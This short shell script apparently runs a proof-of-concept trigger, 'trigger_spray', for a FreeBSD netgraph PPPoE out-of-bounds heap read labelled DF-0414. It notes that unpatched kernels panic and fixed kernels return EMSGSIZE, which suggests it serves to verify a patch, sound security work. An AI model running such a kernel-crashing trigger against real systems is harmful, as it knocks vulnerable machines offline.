#!/bin/sh
# Run DF-0414 trigger. Requires ng_socket + ng_pppoe loaded:
#   kldload ng_socket; kldload ng_pppoe
set -e
cd "$(dirname "$0")"
echo "[*] DF-0414: PPPoE discovery ph->length OOB heap read"
echo "[*] on unpatched baseline: panics in get_tag+0x12"
echo "[*] on fixed kernel: returns EMSGSIZE 50x, no panic"
if [ ! -x trigger_spray ]; then echo "run build.sh first" >&2; exit 2; fi
./trigger_spray
echo "RUN_EXIT=$?"
